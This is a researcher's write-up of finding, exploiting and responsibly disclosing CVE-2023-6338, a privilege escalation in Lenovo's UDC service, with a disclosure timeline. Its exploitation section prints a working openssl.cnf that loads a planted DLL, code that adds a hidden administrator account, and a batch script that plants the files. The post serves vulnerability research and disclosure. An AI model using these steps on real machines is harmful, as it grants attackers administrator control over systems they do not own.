Local Privilege Escalation in Lenovo UDC

Discovery, exploitation and disclosure of CVE-2023–6338

Moritz Rauch
advact

--

TL;DR

I discovered a local privilege escalation vulnerability in the UDC (Universal Device Client) service from Lenovo. The vulnerability allows a non-privileged user to get SYSTEM permissions. The application is preinstalled and running by default as a service on many windows-based Lenovo computers, including the following Notebook models: Lenovo ThinkPad X1 Gen11, YOGA 7, Thinkpad E14

The vulnerability was reported and fixed by Lenovo; the following CVSS/CVE were assigned: 7.8 / CVE-2023–6338

Advisory: https://support.lenovo.com/us/en/product_security/LEN-121183

Affected Versions of UDC: < 23.10

Discovery

Intro

The vulnerability was discovered during a security assessment for a customer. After checking the provided device for common misconfigurations, outdated software and detection capabilities, I proceeded looking at running applications — especially those running as SYSTEM.

With the goal to find privilege escalation vulnerabilities, a relatively easy check for applications running as SYSTEM is to look if they try to load files from locations which are writable with an unprivileged account. If an unprivileged user can modify a loaded file or create a missing one, the application will execute or at least process that file (CWE-426/CWE-427).

For example, if the application tries to load an additional executable file from a location an unprivileged account can write to, it may be an easy win for us. We can modify or create the file and the application will execute it, thus allowing us to execute arbitrary code in the security context of that application. Most commonly these vulnerabilities exist as DLL hijacking scenarios, where a DLL is either completely missing or more commonly, loaded from a path which an attacker can modify. Many of these mistakes arise because the DLL was not referenced with a full path. In this case, the OS searches the referenced DLLs in a particular order which may not be taken into consideration by the developer. Every try to load the referenced file from a location where it does not exist, will obviously result in an error.

Note that not all DLL hijacking vulnerabilities result in privilege escalation, many can ‘only’ be (ab)used to persist on a system but more on that in another post 😉. There are a few controls which may be in place to stop the application from running for example unsigned DLLs or other files. However, this is not always the case and can sometimes be bypassed by signing the code with valid or even expired certs.

In other scenarios the application only tries to load some fonts or other resources which probably wont have a security impact, even if we can modify them.

However, CVE-2023–6338 is not a DLL Hijacking vulnerability but still allowed me to execute arbitrary code. Look at the next chapters to see what kind of file I was able to modify/create to achieve privilege escalation.

Collect and process the relevant data

To analyse the applications and find potential vulnerabilities, I used ProcMon. As described by Microsoft:

Process Monitor is an advanced monitoring tool for Windows that shows real-time file system, Registry and process/thread activity

After ProcMon is started, it collects information about all the process activity and allows you to filter collected events. However, one of the most interesting times to look at applications and what they are loading is when they are starting up. But if the system is already running and all the applications/services are started, we will miss these interesting events when starting to collect data with ProcMon. Now you could go and manually restart all the running applications you want to test but there is a much better way, already integrated with ProcMon.

The option “Boot Logging” does exactly that. It instructs the used driver to start collection at boot time. This way we get logs from all the applications which start automatically when the system gets booted.

Now if you reboot the machine and open ProcMon again, it will ask you to save the collected data. Doing so will generate a log file which you can open and look through at any time.

Such a logfile will contain millions of events, therefore filtering the output to our needs is very important. Below you can see a few of the filters I created for the search. I only listed events from apps running as SYSTEM, where the operation is ‘CreateFile’ and the result contains ‘not found’. The operation ‘CreateFile’ is actually used for read access too, so don’t get confused here.

With these filters I only get events where an application running as SYSTEM tries to load a file but for some reason can’t find it. I created a few negative filters as well, to rule out common directories like C:\Windows where an unprivileged user has no write access.

After scrolling through a lot of lines, one event caught my attention. The UDC application (UDClientService.exe) tried to load an openssl.cnf file from an uncommon path. The folder from where the file was loaded was nested in a folder located directly in the C:\ directory.

I only knew openssl.cnf from configuring linux based systems but also knew that by default unprivileged users can append data in the C:\ directory. ‘Normally’ applications place their configurations and additional executables like DLLs in their installation folder in C:\Program Files\. This folder, just like C:\Windows, has by default an ACL which limits modifications to administrators.

I wrote ‘normally’ because there are more and more applications which write a lot of their files, including executables, to locations an unprivileged user can modify. This is most often done to allow users the installation without admin permissions.

With that in mind, I did a quick google search for openssl.cnf code execution. One of the first results was this blog post, which documents a privilege escalation vulnerability in a VPN client. The post describes how the openssl.cnf configuration allows to reference additional libraries (DLLs on Windows).

Exploitation

The linked blog post also shows a working openssl.cnf config file to load an arbitrary DLL. The file is based on this GitHub sample which references an .so file. Shared objects (.so) are comparable to DLL files on Windows.

With the provided example from the blog post it was easy to create my own openssl.cnf file, all I had to do was to change the path for the DLL I wanted to load.

openssl_conf = openssl_init
[openssl_init]
engines = engine_section

[engine_section]
escalate = escalate_section

[escalate_section]
engine_id = escalate
dynamic_path = c:\\tmp\\escalate.dll
init = 0

The last step before I could test the vulnerability was to create a DLL with my desired code. I had some templates lying around from several courses and could therefore quickly create a PoC DLL. The code added a new account and put it in the administrator group.

startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.FileName = "cmd.exe";
startInfo.Arguments = "/C net user elevate Password1 /add && net localgroup administrators elevate /add";
process.StartInfo = startInfo;
process.Start();

Here is a simple visualization of what the execution chains looked like before and after the exploitation:

The following batch script was was created and shared with the report to easily test the exploitation. It creates the necessary folders and copies the previously created DLL and openssl.cnf file to the correct location.

@echo off
echo Starting PoC...
echo Creating folder
mkdir C:\J\w\prod\BuildSingleReference@2\.conan\data\openssl\3.0.7\_\_\package\1cf626f618fdd256dd79c53f4d6cebfc2eaa1df7\res\
echo Done
echo Planting openssl.cnf and escalate DLL...
copy openssl.cnf C:\J\w\prod\BuildSingleReference@2\.conan\data\openssl\3.0.7\_\_\package\1cf626f618fdd256dd79c53f4d6cebfc2eaa1df7\res\openssl.cnf
mkdir c:\tmp\
copy escalate.dll c:\tmp\escalate.dll
echo Done... Reboot now!

After a reboot the new user was created and member of the administrator group, the privilege escalation was successful.

Disclosure

I reported the vulnerability to their PSIRT (psirt@lenovo.com) via email. They provide a PGP key and handled the report well, I got (almost) always feedback within a few days:

14.10.2023 — Initial Report to PSIRT.

16.10.2023 — Lenovo confirms they received the report.

02.11.2023 — I asked for an Update.

03.11.2023 — Lenovo confirms the vulnerability and state they work on a fix.

17.11.2023 — Lenovo informs me that the vulnerability represents an incomplete Fix of a previous vulnerability. They will update the advisory and plan to reserve a CVE.

29.11.2023 — Lenovo reserved CVE-2023–6338 and informed me they will update the advisory on 12. December.

12.12.2023 — Advisory gets updated. I tested the update which was installed via windows (optional driver) updates, the vulnerability is fixed.

22.12.2023 — Lenovo informed me that the CVE will be published soon.

16.01.2024 — I noticed that the direct download which is linked in the advisory, serves a vulnerable old version (23.4.1.8). I contacted Lenovo again.

… No response since then (●’◡’●)

The fixed version still looks for openssl.cnf — now in a folder which has an ACL restricting access to non-admins as described above:

References

https://support.lenovo.com/us/en/product_security/LEN-121183

https://filedownload.lenovo.com/enm/udc/UDCSetup.exe

https://learn.microsoft.com/en-us/sysinternals/downloads/procmon

https://blog.mirch.io/2019/06/10/cve-2019-12572-pia-windows-privilege-escalation-malicious-openssl-engine/

https://github.com/ThomasHabets/openssl-tpm-engine/blob/master/openssl.cnf.sample

--

--